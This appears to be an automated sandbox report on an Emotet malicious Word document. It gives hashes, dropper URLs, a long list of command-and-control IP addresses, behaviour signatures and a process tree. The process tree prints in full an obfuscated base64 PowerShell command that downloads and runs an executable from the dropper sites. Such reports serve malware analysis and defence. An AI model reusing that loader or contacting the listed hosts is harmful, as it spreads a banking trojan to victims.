emotet | 55183240d4344ec16d2bf19836addfaafebea308d9349ef0df5d92aa7840a916

General

Target
dat_2020_08_18_MY6053.doc
Size 175KB
Sample200818-92p2gb2snn
SHA256 55183240d4344ec16d2bf19836addfaafebea308d9349ef0df5d92aa7840a916
MD5 059357d06e96067ab0d4fdc0063683d2
SHA1 b5ce62024c772e47aa99435739072fe58de52593
SHA512 90cc6ed846fe120a9ca056f93fafacd466df3c50275dc722e801c96e20a9ab8653700def9c6a2d46fd4510fb4aaf73282fa548e3a2294d2db14491abcd5ab4fa
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
https://samaritantec.com/wp-includes/3JL/
exe.dropper
http://kurukshetramvedicsociety.com/css/i/
exe.dropper
http://familiachickenargentina.com/cgi-bin/waj/
exe.dropper
http://swapnadevelopers.com/temp/ZnO/
exe.dropper
https://shkglobalhealth.org/termo/F/
exe.dropper
http://todaymailbox.com/cgi-bin/V/
exe.dropper
http://www.olgamarchenkova.com/wp-content/r/

Extracted

Family

emotet

C2

82.163.245.38:80
209.126.6.222:8080
5.153.250.14:8080
186.70.127.199:8090
190.128.173.10:80
190.195.129.227:8090
91.219.169.180:80
45.173.88.33:80
185.33.0.233:80
188.2.217.94:80
207.144.103.227:80
45.161.242.102:80
219.92.13.25:80
190.163.31.26:80
68.183.170.114:8080
191.99.160.58:80
73.213.208.163:80
94.176.234.118:443
104.131.41.185:8080
45.33.77.42:8080
114.109.179.60:80
213.60.96.117:80
41.84.248.134:443
83.169.21.32:7080
82.76.111.249:443
217.199.160.224:7080
80.249.176.206:80
82.196.15.205:8080
204.225.249.100:7080
190.6.193.152:8080
189.2.177.210:443
177.72.13.80:80
24.135.1.177:80
190.115.18.139:8080
192.241.146.84:8080
209.236.123.42:8080
213.176.36.147:8080
5.196.35.138:7080
104.131.103.37:8080
51.159.23.217:443
190.147.137.153:443
149.62.173.247:8080
137.74.106.111:7080
61.92.159.208:8080
177.73.0.98:443
24.135.198.218:80
85.105.140.135:443
187.162.248.237:80
46.28.111.142:7080
116.125.120.88:443
87.106.46.107:8080
212.71.237.140:8080
12.162.84.2:8080
178.79.163.131:8080
111.67.12.221:8080
95.9.180.128:80
192.241.143.52:8080
201.171.150.41:443
24.148.98.177:80
190.190.148.27:8080
186.103.141.250:443
72.47.248.48:7080
68.183.190.199:8080
172.104.169.32:8080
185.94.252.12:80
178.250.54.208:8080
91.222.77.105:80
217.13.106.14:8080
77.90.136.129:8080
2.47.112.152:80
95.180.234.21:80
186.250.52.226:8080
181.129.96.162:8080
77.55.211.77:8080
185.94.252.27:443
174.100.27.229:80
177.74.228.34:80
67.247.242.247:80
95.85.151.205:80
70.32.115.157:8080
89.32.150.160:8080
212.93.117.170:80
50.28.51.143:8080
94.206.45.18:80
202.4.57.96:80
191.182.6.118:80
58.171.153.81:80
143.0.87.101:80
51.255.165.160:8080
70.32.84.74:8080
73.116.193.136:80
170.81.48.2:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3508	648	powersheLL.exe	66

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/3784-13-0x0000000002210000-0x000000000221C000-memory.dmp	emotet
behavioral2/memory/3784-13-0x0000000002210000-0x000000000221C000-memory.dmp	emotet
behavioral2/memory/64-16-0x0000000000710000-0x000000000071C000-memory.dmp	emotet
behavioral2/memory/64-16-0x0000000000710000-0x000000000071C000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
17	3508	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
3784	Z01k_578n.exe
64	TapiUnattend.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\MSAudDecMFT\TapiUnattend.exe	Z01k_578n.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
2080	WINWORD.EXE
2080	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
3508	powersheLL.exe
3508	powersheLL.exe
3508	powersheLL.exe
64	TapiUnattend.exe
64	TapiUnattend.exe
64	TapiUnattend.exe
64	TapiUnattend.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3508	powersheLL.exe

Suspicious use of SetWindowsHookEx 15 IoCs

pid	Process
2080	WINWORD.EXE
2080	WINWORD.EXE
2080	WINWORD.EXE
2080	WINWORD.EXE
2080	WINWORD.EXE
2080	WINWORD.EXE
2080	WINWORD.EXE
2080	WINWORD.EXE
2080	WINWORD.EXE
2080	WINWORD.EXE
2080	WINWORD.EXE
3784	Z01k_578n.exe
3784	Z01k_578n.exe
64	TapiUnattend.exe
64	TapiUnattend.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3508 wrote to memory of 3784	3508	powersheLL.exe	75
PID 3508 wrote to memory of 3784	3508	powersheLL.exe	75
PID 3508 wrote to memory of 3784	3508	powersheLL.exe	75
PID 3784 wrote to memory of 64	3784	Z01k_578n.exe	76
PID 3784 wrote to memory of 64	3784	Z01k_578n.exe	76
PID 3784 wrote to memory of 64	3784	Z01k_578n.exe	76

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\dat_2020_08_18_MY6053.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:2080

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABNAHEAeABlADAAXwBwAD0AKAAnAEYAJwArACcAYwA3ACcAKwAnADAANQBoAGEAJwApADsAJgAoACcAbgBlACcAKwAnAHcALQAnACsAJwBpAHQAZQBtACcAKQAgACQARQBuAHYAOgBUAGUAbQBQAFwAbwBmAEYASQBjAEUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAARABJAFIARQBjAFQATwBSAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMARQBjAGAAVQBgAFIAaQB0AGAAWQBQAHIAbwBUAG8AQwBPAGwAIgAgAD0AIAAoACcAdABsACcAKwAnAHMAMQAnACsAJwAyACwAIAB0AGwAcwAxADEAJwArACcALAAgACcAKwAnAHQAbABzACcAKQA7ACQAUwB1AHkAbwBvAHgAcwAgAD0AIAAoACcAWgAwADEAawBfADUANwAnACsAJwA4AG4AJwApADsAJABNAGIAcgBjAHoAeABfAD0AKAAnAFMAdgAnACsAJwBjAGMAYgAnACsAJwA5ADkAJwApADsAJABYAG0AcABkADMAcQBrAD0AJABlAG4AdgA6AHQAZQBtAHAAKwAoACgAJwBxACcAKwAnAHIAVQBPAGYAZgAnACsAJwBpAGMAJwArACcAZQAyADAAMQA5AHEAJwArACcAcgBVACcAKQAuACIAcgBlAFAAYABMAGAAQQBDAEUAIgAoACgAWwBDAEgAYQBSAF0AMQAxADMAKwBbAEMASABhAFIAXQAxADEANAArAFsAQwBIAGEAUgBdADgANQApACwAWwBTAFQAUgBJAE4AZwBdAFsAQwBIAGEAUgBdADkAMgApACkAKwAkAFMAdQB5AG8AbwB4AHMAKwAoACcALgBlACcAKwAnAHgAZQAnACkAOwAkAFcAegB2AG0ANABzAHUAPQAoACcASwBxADkAaABlAHkAJwArACcAdQAnACkAOwAkAE8AZwAwAHgAeABvADgAPQAmACgAJwBuAGUAJwArACcAdwAnACsAJwAtACcAKwAnAG8AYgBqAGUAYwB0ACcAKQAgAE4AZQB0AC4AVwBlAEIAYwBMAGkARQBOAFQAOwAkAEkAeQBhAGcAdgBmAHIAPQAoACcAaAAnACsAJwB0AHQAcABzADoALwAvAHMAYQBtACcAKwAnAGEAcgBpACcAKwAnAHQAYQAnACsAJwBuAHQAZQAnACsAJwBjAC4AJwArACcAYwBvAG0AJwArACcALwB3AHAALQAnACsAJwBpAG4AYwBsAHUAZABlAHMALwAzAEoAJwArACcATAAvACcAKwAnACoAJwArACcAaAAnACsAJwB0ACcAKwAnAHQAcAAnACsAJwA6AC8ALwAnACsAJwBrAHUAcgB1AGsAcwBoAGUAdAByACcAKwAnAGEAJwArACcAbQB2AGUAZABpACcAKwAnAGMAcwAnACsAJwBvAGMAaQBlAHQAeQAuAGMAbwAnACsAJwBtACcAKwAnAC8AYwBzAHMAJwArACcALwBpAC8AJwArACcAKgBoAHQAdABwADoALwAvAGYAYQBtAGkAbABpACcAKwAnAGEAYwAnACsAJwBoAGkAYwAnACsAJwBrAGUAJwArACcAbgBhAHIAZwBlAG4AJwArACcAdAAnACsAJwBpAG4AYQAuAGMAbwBtAC8AYwBnAGkALQBiACcAKwAnAGkAbgAvAHcAJwArACcAYQBqACcAKwAnAC8AKgAnACsAJwBoAHQAdABwADoALwAvACcAKwAnAHMAdwBhAHAAJwArACcAbgAnACsAJwBhAGQAZQB2ACcAKwAnAGUAbABvAHAAZQByACcAKwAnAHMALgBjAG8AJwArACcAbQAnACsAJwAvAHQAZQBtAHAALwBaAG4ATwAvACoAJwArACcAaAB0AHQAcABzADoALwAnACsAJwAvAHMAaABrAGcAbABvACcAKwAnAGIAYQAnACsAJwBsACcAKwAnAGgAZQBhACcAKwAnAGwAJwArACcAdABoAC4AbwAnACsAJwByAGcALwAnACsAJwB0AGUAcgBtAG8AJwArACcALwBGAC8AKgBoAHQAdAAnACsAJwBwADoAJwArACcALwAvACcAKwAnAHQAbwAnACsAJwBkAGEAJwArACcAeQAnACsAJwBtACcAKwAnAGEAaQBsACcAKwAnAGIAbwB4AC4AYwBvAG0ALwBjAGcAaQAtACcAKwAnAGIAaQBuACcAKwAnAC8AVgAnACsAJwAvACcAKwAnACoAaAB0AHQAcAA6ACcAKwAnAC8ALwB3AHcAdwAnACsAJwAuAG8AJwArACcAbAAnACsAJwBnAGEAbQBhAHIAJwArACcAYwBoAGUAJwArACcAbgBrAG8AdgBhAC4AJwArACcAYwAnACsAJwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AJwArACcAcgAnACsAJwAvACcAKQAuACIAUwBQAGAAbABJAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABUAHUAcwBvAGgAZgBvAD0AKAAnAFoANABzAHAANAAnACsAJwA5ACcAKwAnADgAJwApADsAZgBvAHIAZQBhAGMAaAAoACQASAByAGUAZwBhAHoAZwAgAGkAbgAgACQASQB5AGEAZwB2AGYAcgApAHsAdAByAHkAewAkAE8AZwAwAHgAeABvADgALgAiAGQAYABvAHcAbgBMAE8AYQBgAGQAZgBgAEkATABlACIAKAAkAEgAcgBlAGcAYQB6AGcALAAgACQAWABtAHAAZAAzAHEAawApADsAJABKAGoAOQBnAGwAYgB3AD0AKAAnAE0AegB5ACcAKwAnAGkAegAnACsAJwAzADgAJwApADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0ASQAnACsAJwB0AGUAJwArACcAbQAnACkAIAAkAFgAbQBwAGQAMwBxAGsAKQAuACIATABgAGUATgBHAHQAaAAiACAALQBnAGUAIAAyADAAMwA5ADYAKQAgAHsAJgAoACcASQBuAHYAJwArACcAbwAnACsAJwBrAGUALQBJAHQAZQBtACcAKQAoACQAWABtAHAAZAAzAHEAawApADsAJABKAGwAcwBxAHUAcwAxAD0AKAAnAEkAbgBfAF8AZQBhACcAKwAnAHEAJwApADsAYgByAGUAYQBrADsAJABFADYANgAyAG4AcAAxAD0AKAAnAE4ANwB0ACcAKwAnAHIAZgAnACsAJwB1AGgAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABNAG8AcQB4AHAAbQA0AD0AKAAnAEYANwAwAHoAeAAnACsAJwBfAG4AJwApAA==
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3508
- C:\Users\Admin\AppData\Local\Temp\Office2019\Z01k_578n.exe
  "C:\Users\Admin\AppData\Local\Temp\Office2019\Z01k_578n.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:3784
- - C:\Windows\SysWOW64\MSAudDecMFT\TapiUnattend.exe
    "C:\Windows\SysWOW64\MSAudDecMFT\TapiUnattend.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:64

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/64-16-0x0000000000710000-0x000000000071C000-memory.dmp

Download

memory/2080-0-0x00007FFAC6140000-0x00007FFAC6806000-memory.dmp

Download

memory/3508-7-0x00007FFABA6C0000-0x00007FFABB0AC000-memory.dmp

Download

memory/3508-8-0x0000012612C50000-0x0000012612C51000-memory.dmp

Download

memory/3508-9-0x000001262B060000-0x000001262B061000-memory.dmp

Download

memory/3784-13-0x0000000002210000-0x000000000221C000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads